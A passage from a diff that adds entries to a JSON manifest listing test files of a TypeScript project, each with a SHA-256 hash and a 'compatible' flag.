"packages/ui-server/tests/storage-routes.test.ts":{"sha256":"d53127059dde5b8648334224d57bef37bf4dc20226c267277ddd3ccf3f6cbd5b","compatible":true}, + "packages/ui-server/tests/storage-scan-offloop.test.ts":{"sha256":"311267b9582482715410351d4cde2ac579bab911719d709a055e9f0bcb46eb6f","compatible":true}, + "packages/ui-server/tests/storage-shared-scan.test.ts":{"sha256":"26640f665a4ee0f2cae8c44917959246dd3f944892e8c5b5ef0565ce4ed54707","compatible":true}, + "packages/ui-server/tests/storage-tree.test.ts":{"sha256":"2fda6d0bfff16ba128f9a3de3eb281fa3cd7aa246cc5aee9d6c9613ca3066e7f","compatible":true}, + "packages/ui-server/tests/subscription-login.test.ts":{"sha256":"3c73cc04aee24b9d0a6e2f9763c9d5ccfd8fe2b76efab214589031425f14b588","compatible":true}, + "packages/ui-server/tests/subscription-status.test.ts":{"sha256":"54f87ed9e68fa63e8c5dd99221fd42b5b8059f8ab44a6ec351e75638ca662728","compatible":true}, + "packages/ui-server/tests/sync-launch-bound.test.ts":{"sha256":"002f1bc944714ef6f51a49f8f5b237e8606d5123d42451cc768e422c0ec75fb6","compatible":true}, + "packages/ui-server/tests/sync-mirror.test.ts":{"sha256":"e3188096a527f0c6a06724cdcf9d2a63f55c900339cdb90835d18021383250ee","compatible":true}, + "packages/ui-server/tests/sync-policy-app.test.ts":{"sha256":"9401ee02b21e454066631f15508fda68edea72d43866c060d0d8becf57094411","compatible":true}, + "packages/ui-server/tests/sync-policy-review.test.ts":{"sha256":"a553b51aa9f50cd9623f7b09cfcb66cd54eef4980928bf32689bcc62602c3207","compatible":true}, + "packages/ui-server/tests/sync-reservation.test.ts":{"sha256":"544dafe0001dbfe653141cd9707778e3ef509fd8c64e0b69cb28e483c27ee389","compatible":true}, + "packages/ui-server/tests/sync-runtime.test.ts":{"sha256":"94a7a5c2e4011e17d6bb5a9363c75ff341c0f8fb08294aa68b6892a1a34a3455","compatible":true}, + "packages/ui-server/tests/tailscale.test.ts":{"sha256":"aa72fa2b240ea080c90a74a09212251c8d1624e2b6486cde76a134035b0cfd5f","compatible":true}, + "packages/ui-server/tests/tainted-destination-ask.test.ts":{"sha256":"242c6f801331acdab7c3303775edea42bdd90044efccd5c7e481086eb8c4b46a","compatible":true}, + "packages/ui-server/tests/tool-observation-schedule.test.ts":{"sha256":"e4301ea954a1404b7d83d1900e8f653fb2d173c728fb704924f98f2f46eb6d79","compatible":true}, + "packages/ui-server/tests/track-intake.test.ts":{"sha256":"8000571c610f5d2c9c0d0b7335d137c308697e4ce19740cb22b6e10ddddbd8be","compatible":true}, + "packages/ui-server/tests/triage-eval.test.ts":{"sha256":"e4ed83916b26af07f39c76b522c8fd6348feca6ad956846941124e6d97c9bf16","compatible":true}, + "packages/ui-server/tests/trust-settings.test.ts":{"sha256":"6eaf94795c56853212dc9bf9a79fd5c9b473ec8edbb3aa175df5b5c3c61a6265","compatible":true}, + "packages/ui-server/tests/turn-boundary-hold.test.ts":{"sha256":"5dbe1bcc112e772c167b3f221dab50a2967df5b956bc3a8899fd91c3bf8895f1","compatible":true}, + "packages/ui-server/tests/turn-budgets.test.ts":{"sha256":"fdd82d2f81c9e17ac8907d4e056203f2bc145c45fa8f0b58679fa872c41eb936","compatible":true}, + "packages/ui-server/tests/turn-coordinator.test.ts":{"sha256":"d05222a6c8a24d7723cb3aac2086211f4435071b4e9caece1c2d356977d90565","compatible":true}, + "packages/ui-server/tests/turn-data-tree-placement.test.ts":{"sha256":"4b926ddbb39c6ed80fd1cb3111eee963ed2dd96961706026c08a06c91e2a73f9","compatible":true}, + "packages/ui-server/tests/turn-data-tree.test.ts":{"sha256":"3e3ace00eec0815c67dff8d81b798b98812606262ebe5f062fa6ba7d95436290","compatible":true}, + "packages/ui-server/tests/turn-egress-clock-honesty.test.ts":{"sha256":"cc372c49ba05fc2791d9f741610db7949d8445d3e6c2d6c1c1adb46e08ae5b79","compatible":true}, + "packages/ui-server/tests/turn-egress-composition.test.ts":{"sha256":"48beb314a281aa87747ebfd1d94408dc4f449fe9d2a9b3a5d91f2050436d39b6","compatible":true}, + "packages/ui-server/tests/turn-egress.test.ts":{"sha256":"e783821ea4fc2ba4b58a83b310b1fec00af8f84ee20525471e32ec8283ebb894","compatible":true}, + "packages/ui-server/tests/turn-failure-notice-digest.test.ts":{"sha256":"5c15357e48e944a2c18a65d1a391bf57c7b5985ddf3e8dd12aa88de4131bd80c","compatible":true}, + "packages/ui-server/tests/turn-free-space.test.ts":{"sha256":"acf6eb832b557e8eeca96cb6bc680b5d3f40b378224ba461f6bb522088c4aec7","compatible":true}, + "packages/ui-server/tests/turn-journal.test.ts":{"sha256":"cbc1c973128802ce7a3d269182d5fea6b7fb8b546fdfab49be1ec47e9b7cf9c3","compatible":true}, + "packages/ui-server/tests/turn-lifecycle.test.ts":{"sha256":"fe24967d19bfca58f174aa86b3e652b23db080df434da213af660e6dca5e3339","compatible":true}, + "packages/ui-server/tests/turn-provider-relay.test.ts":{"sha256":"598fe1154ae19a43ade8e2eef88efe1d9c3c299e797c84ba07a6076823c6e390","compatible":true}, + "packages/ui-server/tests/turn-revert.test.ts":{"sha256":"d7d83922b968d4d32146ce84eefa449b482edb6ffdf394585ea29e79f997c2ac","compatible":true}, + "packages/ui-server/tests/turn-scope-headroom.test.ts":{"sha256":"1bb499d5d81414093aebc3114ff4c27979936f116e7a96db939efd3b33714eca","compatible":true}, + "packages/ui-server/tests/turn-scope.test.ts":{"sha256":"064908c69b2326fb2ab5aabdce8205cf347ea1d7b5f2d9ec0209f7435dc31e2d","compatible":true}, + "packages/ui-server/tests/unavailable-profiles.test.ts":{"sha256":"aa9a1513af93bc9a34f8fbf785d5b5cef9d17a6fb86f7f9fb00d1dbdb9cac56a","compatible":true}, + "packages/ui-server/tests/untrusted-marks.test.ts":{"sha256":"8c50fcd556d36a18a1b070df35301cbd662ec47a87440fa32f6d47d9abe8cd89","compatible":true}, + "packages/ui-server/tests/web-pi-delivery.test.ts":{"sha256":"9ea0c7f3ea9af126c36c4fbc6e616b1f4ebdf1fe38addd062600bacb39fb9504","compatible":true}, + "packages/ui-server/tests/web-pi-executor.test.ts":{"sha256":"e251586689708d384b3a36b7be071e3c0ac77866ccec07a0ac41a6f6d3602c4e","compatible":true}, + "packages/ui-server/tests/web-pi-subscription.test.ts":{"sha256":"3a529e71701181a8847d3a2b802ca441772edf27f934213e0b6915aad6e264a0","compatible":true}, + "packages/ui-server/tests/web-pi-worker.test.ts":{"sha256":"ae2a0600be115014a8038728571dbc1a16ed08eb39ff772d6d8e49e6238ebb23","compatible":true}, + "packages/ui-server/tests/web-search-routes.test.ts":{"sha256":"993a539972338fcda0f30910d361001ed20bf81cd9a95f74a733249e476e5e6a","compatible":true}, + "packages/ui-server/tests/web-tools-admission.test.ts":{"sha256":"1edf1bcafd920eff56f52669ffa7cce25dac53cd75028a7c6b4116ae8a6107fb","compatible":true}, + "packages/ui-server/tests/web-tools-broker.test.ts":{"sha256":"859811f129788ab54e8dded9404659bbdc1072d734bf39eb4dc1ccae03b72ab2","compatible":true}, + "packages/ui-server/tests/wikilink-reliability.test.ts":{"sha256":"afbef2afa6971936c4901a2979a7e4a50e652ca5263a3f6dd4df25456e311dd4","compatible":true}, + "packages/ui-server/tests/worker-host-gate.test.ts":{"sha256":"eebcf6ccf27e9aa219aefd1e342a1445b6c96cd5abe9bda0922b8fad6685a001","compatible":false}, + "packages/ui-server/tests/worker-host-status.test.ts":{"sha256":"307147da9582ed19b516b1135c42fec0f6dd2203183ebe66641cf3513211b55b","compatible":false}, + "packages/ui-server/tests/worker-probe-placement.test.ts":{"sha256":"a80d59fdbda103f2cd985b703c051fa26485e0a6718f4fe35f22667359e69a7c","compatible":true}, + "packages/ui-server/tests/worker-shared-identity.test.ts":{"sha256":"0fa2c4deed0f681267dae28399cec3807c1e48781e877bfb8880d207c183a90a","compatible":true}, + "packages/ui-server/tests/worker-state-config.test.ts":{"sha256":"02de88cc896ee0e79821041aca21ba3c95cab50260ee8c57bf2cd5517ccce6aa","compatible":true}, + "packages/ui-server/tests/write-worker.test.ts":{"sha256":"d8e126fbfe6544c102a7440501e48327917b58cfae74a3b7be83115d648cc63a","compatible":true}, + "packages/ui-server/tests/writer-gate-offloop.test.ts":{"sha256":"394765ca9db0b466fc34eebe144533ad905d52cae3dc1cedea6b0b3b8f333220","compatible":true}, + "packages/ui-server/tests/writer-gate.test.ts":{"sha256":"407800c1b885a4fab8ab9534a904915fdaa259b5764458600ed76c7d1a393c12","compatible":true}, + "packages/ui-server/tests/ws-activity.test.ts":{"sha256":"31799aa409793d09b01334df44a1c9882a5b8a5eee21e54956f34143d9ded2ef","compatible":true}, + "packages/ui-server/tests/ws-allowlist-enforcement.test.ts":{"sha256":"c1675428a92dbbad909f0625ec9b48f20afa3d1d499137eb0ecffb5ae765946b","compatible":true}, + "packages/ui-server/tests/ws-apify.test.ts":{"sha256":"cca15acfa5405bb14666d5c8c12173b222ec382869e7c7ee92868186bd376761","compatible":true}, + "packages/ui-server/tests/ws-approval-channel.test.ts":{"sha256":"9b866254ea30e6dbcabd99af2a5ca8f3ec73eed440b11e6a03ecee56271ea22c","compatible":true}, + "packages/ui-server/tests/ws-approval-persistence.test.ts":{"sha256":"42c7903a530e0f24f6c030afddb96075c23006c7c42d65edf94f892654f1e3fa","compatible":true}, + "packages/ui-server/tests/ws-ask-collision-matrix.test.ts":{"sha256":"6f5d82617162c7a7f16bfa1cf1f28c9b7792f0fbb5d6ebfbc38d6ec5f2276bb3","compatible":true}, + "packages/ui-server/tests/ws-ask-receipts.test.ts":{"sha256":"27a74efcb735d3d31bd46b9acfa59b9d42e2765c7f55e54d931f30f827e3174a","compatible":true}, + "packages/ui-server/tests/ws-ask-turn-timeout.test.ts":{"sha256":"c058733f8470660be0a59dc7f53e0b44bbd08600ce7badb20a89b441e762c9b7","compatible":true}, + "packages/ui-server/tests/ws-ask-user-form.test.ts":{"sha256":"c8416edf632da0a8e85663285f8eab0dd1df2d8ebc5c47653d338bfe2574f9ff","compatible":true}, + "packages/ui-server/tests/ws-ask-user-list.test.ts":{"sha256":"0039fc205652a49764b4b4f60af9579420c1f2cafafa34e1364eab510a97605a","compatible":true}, + "packages/ui-server/tests/ws-ask-user-rank.test.ts":{"sha256":"600545c450befdfe04e69797d2be5d26635111d087a1b53c5daf02444308a277","compatible":true}, + "packages/ui-server/tests/ws-authority-hold.test.ts":{"sha256":"8bf585e9313d6b1f39a7acea3946fb8ffcc784dae5124b027f3078bf34a4de7e","compatible":true}, + "packages/ui-server/tests/ws-backend-routing.test.ts":{"sha256":"1c3aa35005270986e116b81af0e10f46db126224457d4019d521c7a0b05ff2e4","compatible":true}, + "packages/ui-server/tests/ws-brain-application.test.ts":{"sha256":"3656fc345cc05e4b5102b8b4df0b99362bcf1c68d7b23697264b455555a47fcc","compatible":true}, + "packages/ui-server/tests/ws-capacity-route.test.ts":{"sha256":"721dbeea066d22da1292efff7431dcc36cc394911f8de47faa748afa70b5ba9b","compatible":true}, + "packages/ui-server/tests/ws-chat-deletion.test.ts":{"sha256":"7f081cf556aa4225c4346232434c0ada1f9921d381ceb7e8589659fca4ffd95e","compatible":true}, + "packages/ui-server/tests/ws-claude-effects.test.ts":{"sha256":"dc6e2eb03704741551a10fbb7c64b3392141387bdb08d7129ac40d88b18739e9","compatible":true}, + "packages/ui-server/tests/ws-client-environment.test.ts":{"sha256":"f74fb4c82b0d16f48382b40fd63a4012d20af62fad94e2b6bc3b901e9b34284e","compatible":true}, + "packages/ui-server/tests/ws-clients.test.ts":{"sha256":"63c239d97d1ab7c235c97014c01933fb949993a0e321a474ce466dc3f67127a5","compatible":true}, + "packages/ui-server/tests/ws-compute.test.ts":{"sha256":"d5f03e78e717fe330ba60e9e5fa69f60dd59c48d0fc9783bc7ed50624587c34f","compatible":true}, + "packages/ui-server/tests/ws-conversation.test.ts":{"sha256":"1ef9fc550c2db7a9119038dbd14a5ae2a5ccfce4c90da0c09d3a37ce32b4ee49","compatible":true}, + "packages/ui-server/tests/ws-effort.test.ts":{"sha256":"8cf9320ac7cd68c1256869e38da7c16d9b9d84b16e7f01326815e29bae6b94ce","compatible":true}, + "packages/ui-server/tests/ws-follow-up-queue.test.ts":{"sha256":"ddee925f3dc48e64a0136634b6007ae78871a7223f9b2e9e51da9d43824c2a4c","compatible":true}, + "packages/ui-server/tests/ws-follow-up-startup.test.ts":{"sha256":"57b19f302aa7e4ab82cecb77f67660de2edb1f09ef22028f3c177ea8f3558897","compatible":true}, + "packages/ui-server/tests/ws-github-details.test.ts":{"sha256":"ee001085401c88e424274c5e12f8c72657b48e35b1429f26ea9ec73df9f68c0c","compatible":true}, + "packages/ui-server/tests/ws-github.test.ts":{"sha256":"b63b0d2246eaa1abcb25acb78a1b3899c8e727fe616186dbc2d6df6de48c4697","compatible":true}, + "packages/ui-server/tests/ws-governance-binding.test.ts":{"sha256":"d698414b52151db00491fc74833532c14e537ea22cbbf02c0f01521c8744ae14","compatible":true}, + "packages/ui-server/tests/ws-handlers.test.ts":{"sha256":"5e19f64243bf02799e9fc3ed5fe1cbd62b6a0be7927b1650ab3bac9433fb35f9","compatible":true}, + "packages/ui-server/tests/ws-handoff.test.ts":{"sha256":"9756f43bd83aa742f842831f4ae3c302f25a58f78738866579987d1983305249","compatible":true}, + "packages/ui-server/tests/ws-history-freshness.test.ts":{"sha256":"0b944f4e814294ca4307eac475bab665224f729fce0448826759bce9f198d840","compatible":true}, + "packages/ui-server/tests/ws-inbox-intake-hold.test.ts":{"sha256":"ecba903dfe68548d2801623e67313c594516ac0ef2ef3d7ba8d02eff7261cac1","compatible":true}, + "packages/ui-server/tests/ws-interactive-admission.test.ts":{"sha256":"fbdd5553f250e87cd3a1fd07ff02add0cfbde925ebb5eaf510aa850a16489bb0","compatible":true}, + "packages/ui-server/tests/ws-legacy-budget-replay.test.ts":{"sha256":"9892f37a18c5ba5ce7791bb29d2590dedf514880a6be29a04880fefcc0f42caf","compatible":true}, + "packages/ui-server/tests/ws-live-policy-parity.test.ts":{"sha256":"c6938b174f37309a3393d77bf476e411297bd9186df9ed25a471c48f15a87a5d","compatible":true}, + "packages/ui-server/tests/ws-local-exchange.test.ts":{"sha256":"4ce2c639b55be9da3da64eb8dd01fb869889169fb26943c2e65658bf6f396013","compatible":true}, + "packages/ui-server/tests/ws-main-model.test.ts":{"sha256":"def7852ef8e630c6ba89e645d2b582014f4c0f9fb82586eff308d93a79d572c8","compatible":true}, + "packages/ui-server/tests/ws-message-source.test.ts":{"sha256":"3e3c1d7afd801796098f45d3098e701fe8e1e12ea8ef9e9c76db112b09489e31","compatible":true}, + "packages/ui-server/tests/ws-native-acquisition-cancellation.test.ts":{"sha256":"62d79dc2fd8be8d2fd86b63077cdd061a726dbfdd6d6f11804cd56f9eacf428f","compatible":true}, + "packages/ui-server/tests/ws-observability.test.ts":{"sha256":"e161d18ff8c3cee872b9b2a2bdaa2e96b306e6788fc1b7b02bbf5d2ae57a0e34","compatible":true}, + "packages/ui-server/tests/ws-parallel-sessions.test.ts":{"sha256":"ab4263e51f0694f6aa5ba6bf0f8a004319ce98035cf92dbd6050a509b3d6c783","compatible":true}, + "packages/ui-server/tests/ws-pill-labels.test.ts":{"sha256":"2a612115812ae5c34982a935a4f85ca9e7a5eb2e5b96213785149e916fc28da5","compatible":true}, + "packages/ui-server/tests/ws-promoted-block-replay.test.ts":{"sha256":"676a642b41c4b559183a0895d887b71ec20ea60a5c3ba1a09d0530f96e26bf29","compatible":true}, + "packages/ui-server/tests/ws-queue-budget.test.ts":{"sha256":"e5d815569a44e70e461e377e962d8b3e7890f5e9a77e7464f026d66e16fe7fab","compatible":true}, + "packages/ui-server/tests/ws-rate-limit.test.ts":{"sha256":"8a04a676675e2aadeb593ff32f39f5f59f146ee0681e94cad0f3694ad9712d20","compatible":true}, + "packages/ui-server/tests/ws-read-attachment.test.ts":{"sha256":"78b5b390f0b74ff9306f933c75bd3273a9379967af8d15a5486914e2ef15eed3","compatible":true}, + "packages/ui-server/tests/ws-reference-worktrees.test.ts":{"sha256":"de5b6e79a822a085cd6dbde75cd153a3519810cc6f74bdc7dd2352dfa51e4290","compatible":true}, + "packages/ui-server/tests/ws-retry-turn.test.ts":{"sha256":"28573f9ce1d68e3c30b969bf863454d18a863f9cfb7ac89243ee570f688fbe72","compatible":true}, + "packages/ui-server/tests/ws-revocation.test.ts":{"sha256":"cfc3243b549a935096b073e914e889fde5b06b9bd094a6a01f9a4a0076f2f6b3","compatible":true}, + "packages/ui-server/tests/ws-runtime-status.test.ts":{"sha256":"210dfb757f129c1243377419e40881ebb10472c6729f0c46ddd7484a3c670c41","compatible":true}, + "packages/ui-server/tests/ws-scope-caps.test.ts":{"sha256":"46dc9b927e1088d3c7085213842198e5181024cf8aa05181e6c95e709e2ba06b","compatible":true}, + "packages/ui-server/tests/ws-session-history.test.ts":{"sha256":"a8026fd3c282aeb635b33a6c2ef162c95fa6b24a2f46ad1a5abd66a9992f72a1","compatible":true}, + "packages/ui-server/tests/ws-session-recovery.test.ts":{"sha256":"8d792930db6f594131560d435b93312dd4954931f18751fbf06cdc436ca9c6b6","compatible":true}, + "packages/ui-server/tests/ws-tool-permissions.test.ts":{"sha256":"530922a3fa48c9921986e4b39f432d83f62f272502b019c33cda7bdea3b1d3df","compatible":true}, + "packages/ui-server/tests/ws-tool-resolution.test.ts":{"sha256":"c30903bbce0e28f641148fe32e7396e6f6edcdb9c75398adb4f6a38a8ae34c58","compatible":true}, + "packages/ui-server/tests/ws-track-files.test.ts":{"sha256":"fab442c8f548a48d06bdf5d31f9077e71bff1f3058119c8bc7907e4109b0255e","compatible":true}, + "packages/ui-server/tests/ws-turn-budgets.test.ts":{"sha256":"52efdfbe18b5177aecc9d47adfb0bbdbf337c50501f18b211c1e4a240e148000","compatible":true}, + "packages/ui-server/tests/ws-turn-failure-replay.test.ts":{"sha256":"c14cecbb82e42b9c09c14223ebf20fb5398fe50ed3b267df7025cde13ba862bc","compatible":true}, + "packages/ui-server/tests/ws-turn-id.test.ts":{"sha256":"8cadfaff15059fd152b7a73ab1f3f9456ed3a68ba581900798613639cbb1f669","compatible":true}, + "packages/ui-server/tests/ws-turn-journal.test.ts":{"sha256":"40db951fcb7f9b49826d2a48f6899d410c4bd3ca94c798cd30d9995be4d8ee0a","compatible":true}, + "packages/ui-server/tests/ws-turn-temp-promotion.test.ts":{"sha256":"50c801f53246c8ca3d7845b25ea526ae40f6f11a2cfa2f7aff2a58c1e84e6f2e","compatible":true}, + "packages/ui-server/tests/ws-web-access.test.ts":{"sha256":"be34b21b8fd2e057116c429b3ec9f082d792fcbe812f9485c63baa13ee36c43b","compatible":true}, + "tests/answer-suggestions-targets.test.tsx":{"sha256":"bc7f9a26aaa1e178d42e78f045006371e4c67c73e2ee430cf01c1792db0f2eae","compatible":true}, + "tests/api-surface.test.ts":{"sha256":"b5108669af67c12810eeca0d80bdc27d335672d425ad0825b84acf22425e7fd3","compatible":true}, + "tests/artifact-screenshot-retention.test.ts":{"sha256":"9a4c35bfcbf06e7faceceb21e4a11bb515d452c7d094717fa545bc1c49c0463f","compatible":true}, + "tests/ask-user-rank-adapters.test.ts":{"sha256":"0e45c017eee59fecbd882178d5280e8acb2e7e5f4d657b6404d7159806f0f0fc","compatible":true}, + "tests/audit-fix-provider-claims.test.ts":{"sha256":"4b5eb741a96e9fa8552ffe510e54937434548c31f9189e8d6f1af848ca4f9148","compatible":true}, + "tests/audit-fix.test.ts":{"sha256":"1b9579c763be7836dc722f6e1cf8397730867f8ff7f35c5c1043bade82bd3c11","compatible":true}, + "tests/audit-provider-completions.test.ts":{"sha256":"846ed3bf8704ad11fd9e6d53a582b4ff623303d30db10e3540f77881aa4018ad","compatible":true}, + "tests/audit-shipped-capabilities.test.ts":{"sha256":"93f203a07e18664a2ab72c750bee7a4b0ee57025669d3a7d432a496ada1b6827","compatible":true}, + "tests/autonomous-app.test.ts":{"sha256":"b8eb81a1e3d8acca7b330cceee202397612e25140c7f4c877e8fbd248833b043","compatible":true}, + "tests/autonomous-containment.test.ts":{"sha256":"449ff5259454278ce00e8f6e92a058030381129e9dd490607e4e97f673283973","compatible":true}, + "tests/autonomous-dispatch.test.ts":{"sha256":"37fec1bc6a060cdde334e0db8cb432a1f1c08f24406ec8145b80d528c6f36731","compatible":true}, + "tests/autonomous-runtime.test.ts":{"sha256":"bcd87585c1e57eeef5ea5e98aaa53618fe2fb9c6331a545671d1277dfffc916a","compatible":true}, + "tests/bin-modes.test.ts":{"sha256":"57fd14483fcde1b32b3f164c5e784cef1ef360c9edeab25b7a009f7d2b9f6eba","compatible":true}, + "tests/brain-db-contract.test.ts":{"sha256":"5f5b98b04bdf76ee988e81b193a448c68c4347f97edf2a5ef8e0ef60207357e0","compatible":true}, + "tests/bridge-tools.test.ts":{"sha256":"603e5741ba7f126724ca6c61734b1f3adc63f0ffef1f8eb1f4b8210d8408505a","compatible":true}, + "tests/browser-determinism-container.test.ts":{"sha256":"db6732160ce3040b6b1a9095b4ca99c548ff1798c8eb3e4800c0e16b79eb70e1","compatible":true}, + "tests/browser-determinism.test.ts":{"sha256":"a7f2dbc1f2e1a02113e23852a21d23f844da269d9fdbae13fc93aa6222a01930","compatible":true}, + "tests/browser-image-pin.test.ts":{"sha256":"7224066f8bab891d3bf918edf781ce85d1ef96e297db7f2b4319f920e39bb74d","compatible":true}, + "tests/browser-input-closure.test.ts":{"sha256":"07937c2ebdea0d258808b0e727117ffb369662ab79947761a156c94d78471ba8","compatible":true}, + "tests/browser-inventory-process.test.ts":{"sha256":"732d3c77c913ef063054657f81df534cd36717cfb33cf54051e6e2d51b99e619","compatible":true}, + "tests/browser-shards.test.ts":{"sha256":"f27f3e3916fe5fe32cd8b1545e77db836031465221e75dd2f6388410f5ed9061","compatible":true}, + "tests/browser-worker-boundary.test.ts":{"sha256":"dd2bda9b41254cf5d4efcd07f0c4a2c21cb8a36fc308ba870fe377ed74001f78","compatible":true}, + "tests/build-concurrency.test.ts":{"sha256":"55412dc57ba3f528d89a780f6fe9dcb78c605ce01cb83d4cee91a905a2e6c10c","compatible":true}, + "tests/build-freshness.test.ts":{"sha256":"cdc694891542a6487b9951c7e5133dd46c4196a7c2dd70f9c9d0b15615a5773e","compatible":true}, + "tests/build-repeat-observation.test.ts":{"sha256":"f5d31cd182fcc7204771bbd3ec3b5c77025be273d2e336b94c7c59212a8b67cc","compatible":true}, + "tests/build-selection.test.ts":{"sha256":"b9d440110c0c04ffcfd4d4abc14a154b6b5f5cfe61fc76f6ded227f5a4f775e1","compatible":true}, + "tests/candidate-admission.test.ts":{"sha256":"582e18af9501554bbc6a7b34cf91123488e4213eb4a2c4d2d3a1edd65b4c952b","compatible":true}, + "tests/candidate-proof.test.ts":{"sha256":"737b444fe44201e3c103453b3d0d507ab416e892c0bc507d1c8c900cd60fb6fc","compatible":true}, + "tests/capture-hash.test.ts":{"sha256":"ec26f4973dc6595a8229153a339e12fd5b2c43864f77be6d964e9a9d2509ab00","compatible":true}, + "tests/changed-unit-workers.test.ts":{"sha256":"3b02e25039172bdf5fe07685ca128ea4a9053d42a86f896c29231d89024069ac","compatible":true}, + "tests/changeset-gate.test.ts":{"sha256":"087607bda61182d6a4449f007e6f362f4757f1018986363bc13599986930c785","compatible":true}, + "tests/check-dist.test.ts":{"sha256":"5f7079aad900de73bf1d7b91f2c45010fb7e7ac8972759bb6143393fbd881631","compatible":true}, + "tests/check-receipt.test.ts":{"sha256":"a0ef2421fd9196add6860f0c3d7e8432dc0f0f033b196b40fdf981fa17010c62","compatible":true}, + "tests/checkpoint-reader-controls.test.ts":{"sha256":"359939efbd29c2b023724c0dbad2df69413a012167b2180c9129471bba4632d1","compatible":true}, + "tests/ci-archive.test.ts":{"sha256":"99a74639e9d259dca7b69ec2992db33a26a9bf1ecd6990d7fc654629d277e3c2","compatible":true}, + "tests/ci-build-boundary.test.ts":{"sha256":"56c1f492b4f6ecbea4e83e06c6032672830078d1abd0f65260fa21ab796b3643","compatible":true}, + "tests/ci-build-consumers.test.ts":{"sha256":"4398158cf3dcff50bf4598328da83ef83956074d4db9ba73bf36472555c24f05","compatible":true}, + "tests/ci-build-context.test.ts":{"sha256":"f96500a6e17911f084fda23330471ab3f14c2b5b93bed18f741e0edc660f4375","compatible":true}, + "tests/ci-build-evidence.test.ts":{"sha256":"39484bc8218db27473ae2ab635ddd472187c0d08cd461477b95268345e1971e1","compatible":true}, + "tests/ci-build-files.test.ts":{"sha256":"fd16348ae7f53b92aa4813440ec1be8a663228e9260b54ba1ec2336d4afd42c0","compatible":true}, + "tests/ci-build-lifetime.test.ts":{"sha256":"6d029ac24e215172a102bf968ee78ebda703e5ff607dfcd76237dd99a7c69446","compatible":true}, + "tests/ci-build-qualification.test.ts":{"sha256":"cb86c848ecbe4d63b97bb6cc7d0f9b8c38093ad0202a5a05f897f94b19fbaa2d","compatible":true}, + "tests/ci-build-state.test.ts":{"sha256":"f36c68509e9fefb95f5d56a43c927e73a7846eea2b0f38e36603a90aa8970252","compatible":true}, + "tests/ci-disk.test.ts":{"sha256":"6fc651d58c998bb7c2d44a724f38ddb22546f6b3869c6aff9dacfd52f4fba830","compatible":true}, + "tests/ci-epochs.test.ts":{"sha256":"936ee1249a73bdbfb9137c4b9b4fbac337a248a30cf326eb9d3d1fd89911dd2a","compatible":true}, + "tests/ci-event-publish.test.ts":{"sha256":"e3160624733442a3798af8e1b28839d9f39f3e6b80defbe158d2625bd523e67d","compatible":true}, + "tests/ci-evidence-report.test.ts":{"sha256":"e262c28430ef773dd91bcd2132af766a4aa12d54e1eb40ef6245882eed1a4793","compatible":true}, + "tests/ci-pack.test.ts":{"sha256":"42f72d4cd4f866fa48105367d99985ffefa120b6a7cac0ec5cf1af977f44e67e","compatible":true}, + "tests/ci-plan.test.ts":{"sha256":"ac413565a3c0cb4398c04e33b127d3c01e32c7ca1be656a402491f6fdd3c45c3","compatible":false}, + "tests/ci-red-main.test.ts":{"sha256":"21af6b6dee62d1be682b33b6b321ef2cd4a5296f377aae192f5742e51e29c733","compatible":true}, + "tests/ci-runner.test.ts":{"sha256":"cf29b2347ea6d58414b5537e7cd23c4cd90e235914a4ed64b4f2efc6ea394619","compatible":true}, + "tests/ci-throughput.test.ts":{"sha256":"ee380795d993761b1586c94f32175c6042245d6ba81676a76b0d8d055e2fa895","compatible":true}, + "tests/ci-timings-collection.test.ts":{"sha256":"a17ba2a73b50228ac3ca244876934ef84bc6fbe49dd004d9bc165da2c284507a","compatible":true}, + "tests/ci-timings.test.ts":{"sha256":"26bf3a49ec7dcacd362b8c395fad3ae99eb41881f059a8faaac91720b024a4ac","compatible":true}, + "tests/ci-workflows.test.ts":{"sha256":"ed7d3ce90f9e6b2ce52ec247cb9e258a603d355b7e7a6d5781db27f96081ba85","compatible":true}, + "tests/claude-title-provenance.test.ts":{"sha256":"3db8abc829a8015022f266906bf127d39d9bb1b61a305eb60c9d2279209d8678","compatible":true}, + "tests/claude-worker.test.ts":{"sha256":"5ecb0675192b0906256e355b18349b27ac5a7392220d15e1153b47e23988d8b3","compatible":true}, + "tests/clean.test.ts":{"sha256":"7edfbc4dfe63b927670b3eb8ff438b562348d9e12a05b92a49000124d065b785","compatible":true}, + "tests/cold-browser-discovery.test.ts":{"sha256":"a8b4fc2c42e180e855013b79e9d22085370e8336c5bd2e02d48bafdfc8249cc3","compatible":true}, + "tests/collector-inventory-variant.test.ts":{"sha256":"02a36d4e9f348b2411cd7706e40772f19941799a3e1f325a7995861314464a07","compatible":false}, + "tests/collisions.test.ts":{"sha256":"7a84c3e4a0ec302b26a5feb096f2591d89bae26412d6400670c71e5931137a49","compatible":true}, + "tests/compute-tool-contracts.test.ts":{"sha256":"99996fc50f01eb2d0706889ed3489f1dfbf206fb196e5c912be185b443f9a63f","compatible":true}, + "tests/configured-module-paths-cli.test.ts":{"sha256":"6c729a577ef6929596089ba9bcd75db775de52b918adbea510de3e782c4ab6d1","compatible":true}, + "tests/content-index-queries.test.ts":{"sha256":"f3166cbda26d06d24eaeab78409196255ac9da28b3d181e8f12d7dbc0467d89d","compatible":true}, + "tests/contract-gate.test.ts":{"sha256":"a071ef5604efd63b52e3513d201eb5c998c62a460cf6a21418d61cdaae563485","compatible":true}, + "tests/decision-citations.test.ts":{"sha256":"152d82e2d93bf822638fd49f91d5d88f25a4309bfc9045d2523a26de787bf3a3","compatible":true}, + "tests/dependency-edges.test.ts":{"sha256":"5675b119ab5019765a97fe0d4513ac3f5b023be1fddc087bc4c15a7d1775f7e5","compatible":true}, + "tests/design-system-tokens.test.ts":{"sha256":"dde9202b5d9ee1350df73947f31474b9a9c68b2d25cdf9a5b094e1956445f634","compatible":true}, + "tests/diagnostic-install.test.ts":{"sha256":"f1539eeb591f03b417011ddf6b55111a5d8742385a2529d9e204545b2797b3ca","compatible":true}, + "tests/diagram-export-boundary.test.ts":{"sha256":"1fefb9347aff746eaa147069501ddcf90963e2618cd7f29b0c387e945a260bf8","compatible":true}, + "tests/diagram-export-installation.test.ts":{"sha256":"7fd5ff6137cb7c5b84402e253c214e7fd92e2d3641dd546ea6f52a87a873fb45","compatible":true}, + "tests/diagram-export-source.test.ts":{"sha256":"385284053fd6d5196e71a7f9216d1f1f92df7ca958e1115a610cf169456bf3c0","compatible":true}, + "tests/docker-bind-stability.test.ts":{"sha256":"99bde2599660d63e5cbcfab2e96ec449b32e55f05d41561c9a6d8f4097c511da","compatible":false}, + "tests/docs-citations-runtime.test.ts":{"sha256":"9db2c0fe23ea44f873406943dcbfe417690c8e49ea52c9f416993d318c3eca2c","compatible":true}, + 